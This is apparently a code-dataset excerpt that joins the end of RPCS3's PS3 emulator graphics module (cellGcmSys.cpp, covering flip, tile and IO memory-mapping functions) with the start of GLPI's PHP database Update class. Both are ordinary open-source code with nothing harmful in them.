render.m_ctxt_addr = context_addr;
render.m_gcm_buffers_addr = Memory.Alloc(sizeof(gcmBuffer) * 8, sizeof(gcmBuffer));
render.m_zculls_addr = Memory.Alloc(sizeof(CellGcmZcullInfo) * 8, sizeof(CellGcmZcullInfo));
render.m_tiles_addr = Memory.Alloc(sizeof(CellGcmTileInfo) * 15, sizeof(CellGcmTileInfo));
render.m_gcm_buffers_count = 0;
render.m_gcm_current_buffer = 0;
render.m_main_mem_addr = 0;
render.Init(ctx_begin, ctx_size, gcm_info.control_addr, local_addr);
return CELL_OK;
}
int cellGcmResetFlipStatus()
{
Emu.GetGSManager().GetRender().m_flip_status = 1;
return CELL_OK;
}
int cellGcmSetDebugOutputLevel(int level)
{
cellGcmSys.Warning("cellGcmSetDebugOutputLevel(level=%d)", level);
switch (level)
{
case CELL_GCM_DEBUG_LEVEL0:
case CELL_GCM_DEBUG_LEVEL1:
case CELL_GCM_DEBUG_LEVEL2:
Emu.GetGSManager().GetRender().m_debug_level = level;
break;
default: return CELL_EINVAL;
}
return CELL_OK;
}
int cellGcmSetDisplayBuffer(u32 id, u32 offset, u32 pitch, u32 width, u32 height)
{
cellGcmSys.Warning("cellGcmSetDisplayBuffer(id=0x%x,offset=0x%x,pitch=%d,width=%d,height=%d)",
id, offset, width ? pitch/width : pitch, width, height);
if(id > 7) return CELL_EINVAL;
gcmBuffer* buffers = (gcmBuffer*)Memory.GetMemFromAddr(Emu.GetGSManager().GetRender().m_gcm_buffers_addr);
buffers[id].offset = re(offset);
buffers[id].pitch = re(pitch);
buffers[id].width = re(width);
buffers[id].height = re(height);
if(id + 1 > Emu.GetGSManager().GetRender().m_gcm_buffers_count)
{
Emu.GetGSManager().GetRender().m_gcm_buffers_count = id + 1;
}
return CELL_OK;
}
int cellGcmSetFlip(mem_ptr_t<CellGcmContextData> ctxt, u32 id)
{
cellGcmSys.Log("cellGcmSetFlip(ctx=0x%x, id=0x%x)", ctxt.GetAddr(), id);
int res = cellGcmSetPrepareFlip(ctxt, id);
return res < 0 ? CELL_GCM_ERROR_FAILURE : CELL_OK;
}
int cellGcmSetFlipHandler(u32 handler_addr)
{
cellGcmSys.Warning("cellGcmSetFlipHandler(handler_addr=%d)", handler_addr);
if (handler_addr != 0 && !Memory.IsGoodAddr(handler_addr))
{
return CELL_EFAULT;
}
Emu.GetGSManager().GetRender().m_flip_handler.SetAddr(handler_addr);
return CELL_OK;
}
int cellGcmSetFlipMode(u32 mode)
{
cellGcmSys.Warning("cellGcmSetFlipMode(mode=%d)", mode);
switch (mode)
{
case CELL_GCM_DISPLAY_HSYNC:
case CELL_GCM_DISPLAY_VSYNC:
case CELL_GCM_DISPLAY_HSYNC_WITH_NOISE:
Emu.GetGSManager().GetRender().m_flip_mode = mode;
break;
default:
return CELL_EINVAL;
}
return CELL_OK;
}
void cellGcmSetFlipStatus()
{
cellGcmSys.Warning("cellGcmSetFlipStatus()");
Emu.GetGSManager().GetRender().m_flip_status = 0;
}
int cellGcmSetPrepareFlip(mem_ptr_t<CellGcmContextData> ctxt, u32 id)
{
cellGcmSys.Log("cellGcmSetPrepareFlip(ctx=0x%x, id=0x%x)", ctxt.GetAddr(), id);
if(id >= 8)
{
return CELL_GCM_ERROR_FAILURE;
}
GSLockCurrent gslock(GS_LOCK_WAIT_FLUSH); // could stall on exit
u32 current = ctxt->current;
u32 end = ctxt->end;
if(current + 8 >= end)
{
ConLog.Warning("bad flip!");
//cellGcmCallback(ctxt.GetAddr(), current + 8 - end);
//copied:
CellGcmControl& ctrl = (CellGcmControl&)Memory[gcm_info.control_addr];
const s32 res = ctxt->current - ctxt->begin - ctrl.put;
if(res > 0) Memory.Copy(ctxt->begin, ctxt->current - res, res);
ctxt->current = ctxt->begin + res;
ctrl.put = res;
ctrl.get = 0;
}
current = ctxt->current;
Memory.Write32(current, 0x3fead | (1 << 18));
Memory.Write32(current + 4, id);
ctxt->current += 8;
if(ctxt.GetAddr() == gcm_info.context_addr)
{
CellGcmControl& ctrl = (CellGcmControl&)Memory[gcm_info.control_addr];
ctrl.put += 8;
}
return id;
}
int cellGcmSetSecondVFrequency(u32 freq)
{
cellGcmSys.Warning("cellGcmSetSecondVFrequency(level=%d)", freq);
switch (freq)
{
case CELL_GCM_DISPLAY_FREQUENCY_59_94HZ:
case CELL_GCM_DISPLAY_FREQUENCY_SCANOUT:
case CELL_GCM_DISPLAY_FREQUENCY_DISABLE:
Emu.GetGSManager().GetRender().m_frequency_mode = freq;
break;
default: return CELL_EINVAL;
}
return CELL_OK;
}
int cellGcmSetTileInfo(u8 index, u8 location, u32 offset, u32 size, u32 pitch, u8 comp, u16 base, u8 bank)
{
cellGcmSys.Warning("cellGcmSetTileInfo(index=%d, location=%d, offset=%d, size=%d, pitch=%d, comp=%d, base=%d, bank=%d)",
index, location, offset, size, pitch, comp, base, bank);
if (index >= RSXThread::m_tiles_count || base >= 800 || bank >= 4)
{
return CELL_GCM_ERROR_INVALID_VALUE;
}
if (offset & 0xffff || size & 0xffff || pitch & 0xf)
{
return CELL_GCM_ERROR_INVALID_ALIGNMENT;
}
if (location >= 2 || (comp != 0 && (comp < 7 || comp > 12)))
{
return CELL_GCM_ERROR_INVALID_ENUM;
}
if (comp)
{
cellGcmSys.Error("cellGcmSetTileInfo: bad comp! (%d)", comp);
}
auto& tile = Emu.GetGSManager().GetRender().m_tiles[index];
tile.m_location = location;
tile.m_offset = offset;
tile.m_size = size;
tile.m_pitch = pitch;
tile.m_comp = comp;
tile.m_base = base;
tile.m_bank = bank;
Memory.WriteData(Emu.GetGSManager().GetRender().m_tiles_addr + sizeof(CellGcmTileInfo)* index, tile.Pack());
return CELL_OK;
}
u32 cellGcmSetUserHandler(u32 handler)
{
cellGcmSys.Warning("cellGcmSetUserHandler(handler=0x%x)", handler);
return handler;
}
int cellGcmSetVBlankHandler()
{
UNIMPLEMENTED_FUNC(cellGcmSys);
return CELL_OK;
}
int cellGcmSetWaitFlip(mem_ptr_t<CellGcmContextData> ctxt)
{
cellGcmSys.Log("cellGcmSetWaitFlip(ctx=0x%x)", ctxt.GetAddr());
GSLockCurrent lock(GS_LOCK_WAIT_FLIP);
return CELL_OK;
}
int cellGcmSetZcull(u8 index, u32 offset, u32 width, u32 height, u32 cullStart, u32 zFormat, u32 aaFormat, u32 zCullDir, u32 zCullFormat, u32 sFunc, u32 sRef, u32 sMask)
{
cellGcmSys.Warning("TODO: cellGcmSetZcull(index=%d, offset=0x%x, width=%d, height=%d, cullStart=0x%x, zFormat=0x%x, aaFormat=0x%x, zCullDir=0x%x, zCullFormat=0x%x, sFunc=0x%x, sRef=0x%x, sMask=0x%x)",
index, offset, width, height, cullStart, zFormat, aaFormat, zCullDir, zCullFormat, sFunc, sRef, sMask);
return CELL_OK;
}
int cellGcmUnbindTile(u8 index)
{
cellGcmSys.Warning("cellGcmUnbindTile(index=%d)", index);
if (index >= RSXThread::m_tiles_count)
{
return CELL_GCM_ERROR_INVALID_VALUE;
}
auto& tile = Emu.GetGSManager().GetRender().m_tiles[index];
tile.m_binded = false;
return CELL_OK;
}
int cellGcmUnbindZcull(u8 index)
{
cellGcmSys.Warning("cellGcmUnbindZcull(index=%d)", index);
if (index >= 8)
return CELL_EINVAL;
return CELL_OK;
}
u32 cellGcmGetTileInfo()
{
cellGcmSys.Warning("cellGcmGetTileInfo()");
return Emu.GetGSManager().GetRender().m_tiles_addr;
}
u32 cellGcmGetZcullInfo()
{
cellGcmSys.Warning("cellGcmGetZcullInfo()");
return Emu.GetGSManager().GetRender().m_zculls_addr;
}
u32 cellGcmGetDisplayInfo()
{
cellGcmSys.Warning("cellGcmGetDisplayInfo() = 0x%x", Emu.GetGSManager().GetRender().m_gcm_buffers_addr);
return Emu.GetGSManager().GetRender().m_gcm_buffers_addr;
}
int cellGcmGetCurrentDisplayBufferId(u32 id_addr)
{
cellGcmSys.Warning("cellGcmGetCurrentDisplayBufferId(id_addr=0x%x)", id_addr);
if (!Memory.IsGoodAddr(id_addr))
{
return CELL_EFAULT;
}
Memory.Write32(id_addr, Emu.GetGSManager().GetRender().m_gcm_current_buffer);
return CELL_OK;
}
//----------------------------------------------------------------------------
// Memory Mapping
//----------------------------------------------------------------------------
gcm_offset offsetTable = { 0, 0 };
void InitOffsetTable()
{
offsetTable.io = Memory.Alloc(3072 * sizeof(u16), 1);
for (int i = 0; i<3072; i++)
{
Memory.Write16(offsetTable.io + sizeof(u16)*i, 0xFFFF);
}
offsetTable.ea = Memory.Alloc(256 * sizeof(u16), 1);//TODO: check flags
for (int i = 0; i<256; i++)
{
Memory.Write16(offsetTable.ea + sizeof(u16)*i, 0xFFFF);
}
}
int32_t cellGcmAddressToOffset(u64 address, mem32_t offset)
{
cellGcmSys.Log("cellGcmAddressToOffset(address=0x%x,offset_addr=0x%x)", address, offset.GetAddr());
if (address >= 0xD0000000/*not on main memory or local*/)
return CELL_GCM_ERROR_FAILURE;
u32 result;
// If address is in range of local memory
if (Memory.RSXFBMem.IsInMyRange(address))
{
result = address - Memory.RSXFBMem.GetStartAddr();
}
// else check if the adress (main memory) is mapped in IO
else
{
u16 upper12Bits = Memory.Read16(offsetTable.io + sizeof(u16)*(address >> 20));
if (upper12Bits != 0xFFFF)
{
result = (((u64)upper12Bits << 20) | (address & (0xFFFFF)));
}
// address is not mapped in IO
else
{
return CELL_GCM_ERROR_FAILURE;
}
}
offset = result;
return CELL_OK;
}
uint32_t cellGcmGetMaxIoMapSize()
{
return Memory.RSXIOMem.GetEndAddr() - Memory.RSXIOMem.GetStartAddr() - Memory.RSXIOMem.GetReservedAmount();
}
void cellGcmGetOffsetTable(mem_ptr_t<gcm_offset> table)
{
table->io = re(offsetTable.io);
table->ea = re(offsetTable.ea);
}
int32_t cellGcmIoOffsetToAddress(u32 ioOffset, u64 address)
{
u64 realAddr;
realAddr = Memory.RSXIOMem.getRealAddr(Memory.RSXIOMem.GetStartAddr() + ioOffset);
if (!realAddr)
return CELL_GCM_ERROR_FAILURE;
Memory.Write64(address, realAddr);
return CELL_OK;
}
int32_t cellGcmMapEaIoAddress(const u32 ea, const u32 io, const u32 size)
{
cellGcmSys.Warning("cellGcmMapEaIoAddress(ea=0x%x, io=0x%x, size=0x%x)", ea, io, size);
if ((ea & 0xFFFFF) || (io & 0xFFFFF) || (size & 0xFFFFF)) return CELL_GCM_ERROR_FAILURE;
//check if the mapping was successfull
if (Memory.RSXIOMem.Map(ea, size, Memory.RSXIOMem.GetStartAddr() + io))
{
//fill the offset table
for (u32 i = 0; i<(size >> 20); i++)
{
Memory.Write16(offsetTable.io + ((ea >> 20) + i)*sizeof(u16), (io >> 20) + i);
Memory.Write16(offsetTable.ea + ((io >> 20) + i)*sizeof(u16), (ea >> 20) + i);
}
}
else
{
return CELL_GCM_ERROR_FAILURE;
}
return CELL_OK;
}
int32_t cellGcmMapEaIoAddressWithFlags(const u32 ea, const u32 io, const u32 size, const u32 flags)
{
cellGcmSys.Warning("cellGcmMapEaIoAddressWithFlags(ea=0x%x, io=0x%x, size=0x%x, flags=0x%x)", ea, io, size, flags);
return cellGcmMapEaIoAddress(ea, io, size); // TODO: strict ordering
}
int32_t cellGcmMapLocalMemory(u64 address, u64 size)
{
if (!local_size && !local_addr)
{
local_size = 0xf900000; //TODO
local_addr = Memory.RSXFBMem.GetStartAddr();
Memory.RSXFBMem.AllocAlign(local_size);
Memory.Write32(address, local_addr);
Memory.Write32(size, local_size);
}
else
{
cellGcmSys.Error("RSX local memory already mapped");
return CELL_GCM_ERROR_FAILURE;
}
return CELL_OK;
}
int32_t cellGcmMapMainMemory(u64 ea, u32 size, mem32_t offset)
{
cellGcmSys.Warning("cellGcmMapMainMemory(ea=0x%x,size=0x%x,offset_addr=0x%x)", ea, size, offset.GetAddr());
u64 io;
if ((ea & 0xFFFFF) || (size & 0xFFFFF)) return CELL_GCM_ERROR_FAILURE;
//check if the mapping was successfull
if (io = Memory.RSXIOMem.Map(ea, size, 0))
{
// convert to offset
io = io - Memory.RSXIOMem.GetStartAddr();
//fill the offset table
for (u32 i = 0; i<(size >> 20); i++)
{
Memory.Write16(offsetTable.io + ((ea >> 20) + i)*sizeof(u16), (io >> 20) + i);
Memory.Write16(offsetTable.ea + ((io >> 20) + i)*sizeof(u16), (ea >> 20) + i);
}
offset = io;
}
else
{
return CELL_GCM_ERROR_NO_IO_PAGE_TABLE;
}
Emu.GetGSManager().GetRender().m_main_mem_addr = Emu.GetGSManager().GetRender().m_ioAddress;
return CELL_OK;
}
int32_t cellGcmReserveIoMapSize(const u32 size)
{
if (size & 0xFFFFF)
return CELL_GCM_ERROR_INVALID_ALIGNMENT;
if (size > cellGcmGetMaxIoMapSize())
return CELL_GCM_ERROR_INVALID_VALUE;
Memory.RSXIOMem.Reserve(size);
return CELL_OK;
}
int32_t cellGcmUnmapEaIoAddress(u64 ea)
{
u32 size = Memory.RSXIOMem.UnmapRealAddress(ea);
if (size)
{
u64 io;
ea = ea >> 20;
io = Memory.Read16(offsetTable.io + (ea*sizeof(u16)));
for (u32 i = 0; i<size; i++)
{
Memory.Write16(offsetTable.io + ((ea + i)*sizeof(u16)), 0xFFFF);
Memory.Write16(offsetTable.ea + ((io + i)*sizeof(u16)), 0xFFFF);
}
}
else
{
return CELL_GCM_ERROR_FAILURE;
}
return CELL_OK;
}
int32_t cellGcmUnmapIoAddress(u64 io)
{
u32 size = Memory.RSXIOMem.UnmapAddress(io);
if (size)
{
u64 ea;
io = io >> 20;
ea = Memory.Read16(offsetTable.ea + (io*sizeof(u16)));
for (u32 i = 0; i<size; i++)
{
Memory.Write16(offsetTable.io + ((ea + i)*sizeof(u16)), 0xFFFF);
Memory.Write16(offsetTable.ea + ((io + i)*sizeof(u16)), 0xFFFF);
}
}
else
{
return CELL_GCM_ERROR_FAILURE;
}
return CELL_OK;
}
int32_t cellGcmUnreserveIoMapSize(u32 size)
{
if (size & 0xFFFFF)
return CELL_GCM_ERROR_INVALID_ALIGNMENT;
if (size > Memory.RSXIOMem.GetReservedAmount())
return CELL_GCM_ERROR_INVALID_VALUE;
Memory.RSXIOMem.Unreserve(size);
return CELL_OK;
}
//----------------------------------------------------------------------------
// Cursor
//----------------------------------------------------------------------------
int cellGcmInitCursor()
{
UNIMPLEMENTED_FUNC(cellGcmSys);
return CELL_OK;
}
int cellGcmSetCursorPosition(s32 x, s32 y)
{
UNIMPLEMENTED_FUNC(cellGcmSys);
return CELL_OK;
}
int cellGcmSetCursorDisable()
{
UNIMPLEMENTED_FUNC(cellGcmSys);
return CELL_OK;
}
int cellGcmUpdateCursor()
{
UNIMPLEMENTED_FUNC(cellGcmSys);
return CELL_OK;
}
int cellGcmSetCursorEnable()
{
UNIMPLEMENTED_FUNC(cellGcmSys);
return CELL_OK;
}
int cellGcmSetCursorImageOffset(u32 offset)
{
UNIMPLEMENTED_FUNC(cellGcmSys);
return CELL_OK;
}
//------------------------------------------------------------------------
// Functions for Maintaining Compatibility
//------------------------------------------------------------------------
void cellGcmSetDefaultCommandBuffer()
{
cellGcmSys.Warning("cellGcmSetDefaultCommandBuffer()");
Memory.Write32(Emu.GetGSManager().GetRender().m_ctxt_addr, gcm_info.context_addr);
}
//------------------------------------------------------------------------
// Other
//------------------------------------------------------------------------
int cellGcmSetFlipCommand(u32 ctx, u32 id)
{
return cellGcmSetPrepareFlip(ctx, id);
}
s64 cellGcmFunc15()
{
cellGcmSys.Error("cellGcmFunc15()");
return 0;
}
int cellGcmSetFlipCommandWithWaitLabel(u32 ctx, u32 id, u32 label_index, u32 label_value)
{
int res = cellGcmSetPrepareFlip(ctx, id);
Memory.Write32(Memory.RSXCMDMem.GetStartAddr() + 0x10 * label_index, label_value);
return res < 0 ? CELL_GCM_ERROR_FAILURE : CELL_OK;
}
int cellGcmSetTile(u8 index, u8 location, u32 offset, u32 size, u32 pitch, u8 comp, u16 base, u8 bank)
{
cellGcmSys.Warning("cellGcmSetTile(index=%d, location=%d, offset=%d, size=%d, pitch=%d, comp=%d, base=%d, bank=%d)",
index, location, offset, size, pitch, comp, base, bank);
// Copied form cellGcmSetTileInfo
if(index >= RSXThread::m_tiles_count || base >= 800 || bank >= 4)
{
return CELL_GCM_ERROR_INVALID_VALUE;
}
if(offset & 0xffff || size & 0xffff || pitch & 0xf)
{
return CELL_GCM_ERROR_INVALID_ALIGNMENT;
}
if(location >= 2 || (comp != 0 && (comp < 7 || comp > 12)))
{
return CELL_GCM_ERROR_INVALID_ENUM;
}
if(comp)
{
cellGcmSys.Error("cellGcmSetTile: bad comp! (%d)", comp);
}
auto& tile = Emu.GetGSManager().GetRender().m_tiles[index];
tile.m_location = location;
tile.m_offset = offset;
tile.m_size = size;
tile.m_pitch = pitch;
tile.m_comp = comp;
tile.m_base = base;
tile.m_bank = bank;
Memory.WriteData(Emu.GetGSManager().GetRender().m_tiles_addr + sizeof(CellGcmTileInfo) * index, tile.Pack());
return CELL_OK;
}
//----------------------------------------------------------------------------
void cellGcmSys_init()
{
// Data Retrieval
//cellGcmSys.AddFunc(0xc8f3bd09, cellGcmGetCurrentField);
cellGcmSys.AddFunc(0xf80196c1, cellGcmGetLabelAddress);
//cellGcmSys.AddFunc(0x21cee035, cellGcmGetNotifyDataAddress);
//cellGcmSys.AddFunc(0x99d397ac, cellGcmGetReport);
//cellGcmSys.AddFunc(0x9a0159af, cellGcmGetReportDataAddress);
cellGcmSys.AddFunc(0x8572bce2, cellGcmGetReportDataAddressLocation);
//cellGcmSys.AddFunc(0xa6b180ac, cellGcmGetReportDataLocation);
cellGcmSys.AddFunc(0x5a41c10f, cellGcmGetTimeStamp);
//cellGcmSys.AddFunc(0x2ad4951b, cellGcmGetTimeStampLocation);
// Command Buffer Control
//cellGcmSys.AddFunc(, cellGcmCallbackForSnc);
//cellGcmSys.AddFunc(, cellGcmFinish);
//cellGcmSys.AddFunc(, cellGcmFlush);
cellGcmSys.AddFunc(0xa547adde, cellGcmGetControlRegister);
cellGcmSys.AddFunc(0x5e2ee0f0, cellGcmGetDefaultCommandWordSize);
cellGcmSys.AddFunc(0x8cdf8c70, cellGcmGetDefaultSegmentWordSize);
cellGcmSys.AddFunc(0xcaabd992, cellGcmInitDefaultFifoMode);
//cellGcmSys.AddFunc(, cellGcmReserveMethodSize);
//cellGcmSys.AddFunc(, cellGcmResetDefaultCommandBuffer);
cellGcmSys.AddFunc(0x9ba451e4, cellGcmSetDefaultFifoSize);
//cellGcmSys.AddFunc(, cellGcmSetupContextData);
// Hardware Resource Management
cellGcmSys.AddFunc(0x4524cccd, cellGcmBindTile);
cellGcmSys.AddFunc(0x9dc04436, cellGcmBindZcull);
//cellGcmSys.AddFunc(0x1f61b3ff, cellGcmDumpGraphicsError);
cellGcmSys.AddFunc(0xe315a0b2, cellGcmGetConfiguration);
//cellGcmSys.AddFunc(0x371674cf, cellGcmGetDisplayBufferByFlipIndex);
cellGcmSys.AddFunc(0x72a577ce, cellGcmGetFlipStatus);
//cellGcmSys.AddFunc(0x63387071, cellGcmgetLastFlipTime);
//cellGcmSys.AddFunc(0x23ae55a3, cellGcmGetLastSecondVTime);
cellGcmSys.AddFunc(0x055bd74d, cellGcmGetTiledPitchSize);
//cellGcmSys.AddFunc(0x723bbc7e, cellGcmGetVBlankCount);
cellGcmSys.AddFunc(0x15bae46b, cellGcmInit);
//cellGcmSys.AddFunc(0xfce9e764, cellGcmInitSystemMode);
cellGcmSys.AddFunc(0xb2e761d4, cellGcmResetFlipStatus);
cellGcmSys.AddFunc(0x51c9d62b, cellGcmSetDebugOutputLevel);
cellGcmSys.AddFunc(0xa53d12ae, cellGcmSetDisplayBuffer);
cellGcmSys.AddFunc(0xdc09357e, cellGcmSetFlip);
cellGcmSys.AddFunc(0xa41ef7e8, cellGcmSetFlipHandler);
//cellGcmSys.AddFunc(0xacee8542, cellGcmSetFlipImmediate);
cellGcmSys.AddFunc(0x4ae8d215, cellGcmSetFlipMode);
cellGcmSys.AddFunc(0xa47c09ff, cellGcmSetFlipStatus);
//cellGcmSys.AddFunc(, cellGcmSetFlipWithWaitLabel);
//cellGcmSys.AddFunc(0xd01b570d, cellGcmSetGraphicsHandler);
cellGcmSys.AddFunc(0x0b4b62d5, cellGcmSetPrepareFlip);
//cellGcmSys.AddFunc(0x0a862772, cellGcmSetQueueHandler);
cellGcmSys.AddFunc(0x4d7ce993, cellGcmSetSecondVFrequency);
//cellGcmSys.AddFunc(0xdc494430, cellGcmSetSecondVHandler);
cellGcmSys.AddFunc(0xbd100dbc, cellGcmSetTileInfo);
cellGcmSys.AddFunc(0x06edea9e, cellGcmSetUserHandler);
//cellGcmSys.AddFunc(0xffe0160e, cellGcmSetVBlankFrequency);
cellGcmSys.AddFunc(0xa91b0402, cellGcmSetVBlankHandler);
cellGcmSys.AddFunc(0x983fb9aa, cellGcmSetWaitFlip);
cellGcmSys.AddFunc(0xd34a420d, cellGcmSetZcull);
//cellGcmSys.AddFunc(0x25b40ab4, cellGcmSortRemapEaIoAddress);
cellGcmSys.AddFunc(0xd9b7653e, cellGcmUnbindTile);
cellGcmSys.AddFunc(0xa75640e8, cellGcmUnbindZcull);
cellGcmSys.AddFunc(0x657571f7, cellGcmGetTileInfo);
cellGcmSys.AddFunc(0xd9a0a879, cellGcmGetZcullInfo);
cellGcmSys.AddFunc(0x0e6b0dae, cellGcmGetDisplayInfo);
cellGcmSys.AddFunc(0x93806525, cellGcmGetCurrentDisplayBufferId);
// Memory Mapping
cellGcmSys.AddFunc(0x21ac3697, cellGcmAddressToOffset);
cellGcmSys.AddFunc(0xfb81c03e, cellGcmGetMaxIoMapSize);
cellGcmSys.AddFunc(0x2922aed0, cellGcmGetOffsetTable);
cellGcmSys.AddFunc(0x2a6fba9c, cellGcmIoOffsetToAddress);
cellGcmSys.AddFunc(0x63441cb4, cellGcmMapEaIoAddress);
cellGcmSys.AddFunc(0x626e8518, cellGcmMapEaIoAddressWithFlags);
cellGcmSys.AddFunc(0xdb769b32, cellGcmMapLocalMemory);
cellGcmSys.AddFunc(0xa114ec67, cellGcmMapMainMemory);
cellGcmSys.AddFunc(0xa7ede268, cellGcmReserveIoMapSize);
cellGcmSys.AddFunc(0xefd00f54, cellGcmUnmapEaIoAddress);
cellGcmSys.AddFunc(0xdb23e867, cellGcmUnmapIoAddress);
cellGcmSys.AddFunc(0x3b9bd5bd, cellGcmUnreserveIoMapSize);
// Cursor
cellGcmSys.AddFunc(0x107bf3a1, cellGcmInitCursor);
cellGcmSys.AddFunc(0xc47d0812, cellGcmSetCursorEnable);
cellGcmSys.AddFunc(0x69c6cc82, cellGcmSetCursorDisable);
cellGcmSys.AddFunc(0xf9bfdc72, cellGcmSetCursorImageOffset);
cellGcmSys.AddFunc(0x1a0de550, cellGcmSetCursorPosition);
cellGcmSys.AddFunc(0xbd2fa0a7, cellGcmUpdateCursor);
// Functions for Maintaining Compatibility
//cellGcmSys.AddFunc(, cellGcmGetCurrentBuffer);
//cellGcmSys.AddFunc(, cellGcmSetCurrentBuffer);
cellGcmSys.AddFunc(0xbc982946, cellGcmSetDefaultCommandBuffer);
//cellGcmSys.AddFunc(, cellGcmSetDefaultCommandBufferAndSegmentWordSize);
//cellGcmSys.AddFunc(, cellGcmSetUserCallback);
// Other
cellGcmSys.AddFunc(0x21397818, cellGcmSetFlipCommand);
cellGcmSys.AddFunc(0x3a33c1fd, cellGcmFunc15);
cellGcmSys.AddFunc(0xd8f88e1a, cellGcmSetFlipCommandWithWaitLabel);
cellGcmSys.AddFunc(0xd0b1d189, cellGcmSetTile);
}
void cellGcmSys_load()
{
current_config.ioAddress = 0;
current_config.localAddress = 0;
local_size = 0;
local_addr = 0;
}
void cellGcmSys_unload()
{
}
| unknownbrackets/rpcs3 | rpcs3/Emu/SysCalls/Modules/cellGcmSys.cpp | C++ | gpl-2.0 | 26,937 |
<?php
/**
* ---------------------------------------------------------------------
* GLPI - Gestionnaire Libre de Parc Informatique
* Copyright (C) 2015-2021 Teclib' and contributors.
*
* http://glpi-project.org
*
* based on GLPI - Gestionnaire Libre de Parc Informatique
* Copyright (C) 2003-2014 by the INDEPNET Development Team.
*
* ---------------------------------------------------------------------
*
* LICENSE
*
* This file is part of GLPI.
*
* GLPI is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* GLPI is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with GLPI. If not, see <http://www.gnu.org/licenses/>.
* ---------------------------------------------------------------------
*/
if (!defined('GLPI_ROOT')) {
die("Sorry. You can't access this file directly");
}
use Glpi\Toolbox\VersionParser;
/**
* Update class
**/
class Update {
private $args = [];
private $DB;
private $migration;
private $version;
private $dbversion;
private $language;
/**
* Constructor
*
* @param object $DB Database instance
* @param array $args Command line arguments; default to empty array
*/
public function __construct($DB, $args = []) {
$this->DB = $DB;
$this->args = $args;
}
/**
* Initialize session for update
*
* @return void
*/
public function initSession() {
if (is_writable(GLPI_SESSION_DIR)) {
Session::setPath();
} else {
if (isCommandLine()) {
die("Can't write in ".GLPI_SESSION_DIR."\n");
}
}
Session::start();
if (isCommandLine()) {
// Init debug variable
$_SESSION = ['glpilanguage' => (isset($this->args['lang']) ? $this->args['lang'] : 'en_GB')];
$_SESSION["glpi_currenttime"] = date("Y-m-d H:i:s");
}
// Init debug variable
// Only show errors
Toolbox::setDebugMode(Session::DEBUG_MODE, 0, 0, 1);
}
/**
* Get current values (versions, lang, ...)
*
* @return array
*/
public function getCurrents() {
$currents = [];
$DB = $this->DB;
if (!$DB->tableExists('glpi_config') && !$DB->tableExists('glpi_configs')) {
//very, very old version!
$currents = [
'version' => '0.1',
'dbversion' => '0.1',
'language' => 'en_GB'
];
} else if (!$DB->tableExists("glpi_configs")) {
// < 0.78
// Get current version
$result = $DB->request([
'SELECT' => ['version', 'language'],
'FROM' => 'glpi_config'
])->current();
$currents['version'] = trim($result['version']);
$currents['dbversion'] = $currents['version'];
$currents['language'] = trim($result['language']);
} else if ($DB->fieldExists('glpi_configs', 'version')) {
// < 0.85
// Get current version and language
$result = $DB->request([
'SELECT' => ['version', 'language'],
'FROM' => 'glpi_configs'
])->current();
$currents['version'] = trim($result['version']);
$currents['dbversion'] = $currents['version'];
$currents['language'] = trim($result['language']);
} else {
$currents = Config::getConfigurationValues(
'core',
['version', 'dbversion', 'language']
);
if (!isset($currents['dbversion'])) {
$currents['dbversion'] = $currents['version'];
}
}
$this->version = $currents['version'];
$this->dbversion = $currents['dbversion'];
$this->language = $currents['language'];
return $currents;
}
/**
* Run updates
*
* @param string $current_version Current version
* @param bool $force_latest Force replay of latest migration
*
* @return void
*/
public function doUpdates($current_version = null, bool $force_latest = false) {
if ($current_version === null) {
if ($this->version === null) {
throw new \RuntimeException('Cannot process updates without any version specified!');
}
$current_version = $this->version;
}
$DB = $this->DB;
// To prevent problem of execution time
ini_set("max_execution_time", "0");
if (version_compare($current_version, '0.80', 'lt')) {
die('Upgrade is not supported before 0.80!');
die(1);
}
// Update process desactivate all plugins
$plugin = new Plugin();
$plugin->unactivateAll();
if (version_compare($current_version, '0.80', '<') || version_compare($current_version, GLPI_VERSION, '>')) {
$message = sprintf(
__('Unsupported version (%1$s)'),
$current_version
);
if (isCommandLine()) {
echo "$message\n";
die(1);
} else {
$this->migration->displayWarning($message, true);
die(1);
}
}
$migrations = $this->getMigrationsToDo($current_version, $force_latest);
foreach ($migrations as $file => $function) {
include_once($file);
$function();
}
if (($myisam_count = $DB->getMyIsamTables()->count()) > 0) {
$message = sprintf(__('%d tables are using the deprecated MyISAM storage engine.'), $myisam_count)
. ' '
. sprintf(__('Run the "php bin/console %1$s" command to migrate them.'), 'glpi:migration:myisam_to_innodb');
$this->migration->displayError($message);
}
if (($datetime_count = $DB->getTzIncompatibleTables()->count()) > 0) {
$message = sprintf(__('%1$s columns are using the deprecated datetime storage field type.'), $datetime_count)
. ' '
. sprintf(__('Run the "php bin/console %1$s" command to migrate them.'), 'glpi:migration:timestamps');
$this->migration->displayError($message);
}
/*
* FIXME: Remove `$DB->use_utf8mb4` condition GLPI 10.1.
* This condition is here only to prevent having this message on every migration GLPI 10.0.
* Indeed, as migration command was not available in previous versions, users may not understand
* why this is considered as an error.
*/
if ($DB->use_utf8mb4 && ($non_utf8mb4_count = $DB->getNonUtf8mb4Tables()->count()) > 0) {
$message = sprintf(__('%1$s tables are using the deprecated utf8mb3 storage charset.'), $non_utf8mb4_count)
. ' '
. sprintf(__('Run the "php bin/console %1$s" command to migrate them.'), 'glpi:migration:utf8mb4');
$this->migration->displayError($message);
}
// Update version number and default langage and new version_founded ---- LEAVE AT THE END
Config::setConfigurationValues('core', ['version' => GLPI_VERSION,
'dbversion' => GLPI_SCHEMA_VERSION,
'language' => $this->language,
'founded_new_version' => '']);
if (defined('GLPI_SYSTEM_CRON')) {
// Downstream packages may provide a good system cron
$DB->updateOrDie(
'glpi_crontasks', [
'mode' => 2
], [
'name' => ['!=', 'watcher'],
'allowmode' => ['&', 2]
]
);
}
// Reset telemetry if its state is running, assuming it remained stuck due to telemetry service issue (see #7492).
$crontask_telemetry = new CronTask();
$crontask_telemetry->getFromDBbyName("Telemetry", "telemetry");
if ($crontask_telemetry->fields['state'] === CronTask::STATE_RUNNING) {
$crontask_telemetry->resetDate();
$crontask_telemetry->resetState();
}
//generate security key if missing, and update db
$glpikey = new GLPIKey();
if (!$glpikey->keyExists() && !$glpikey->generate()) {
$this->migration->displayWarning(__('Unable to create security key file! You have to run "php bin/console glpi:security:change_key" command to manually create this file.'), true);
}
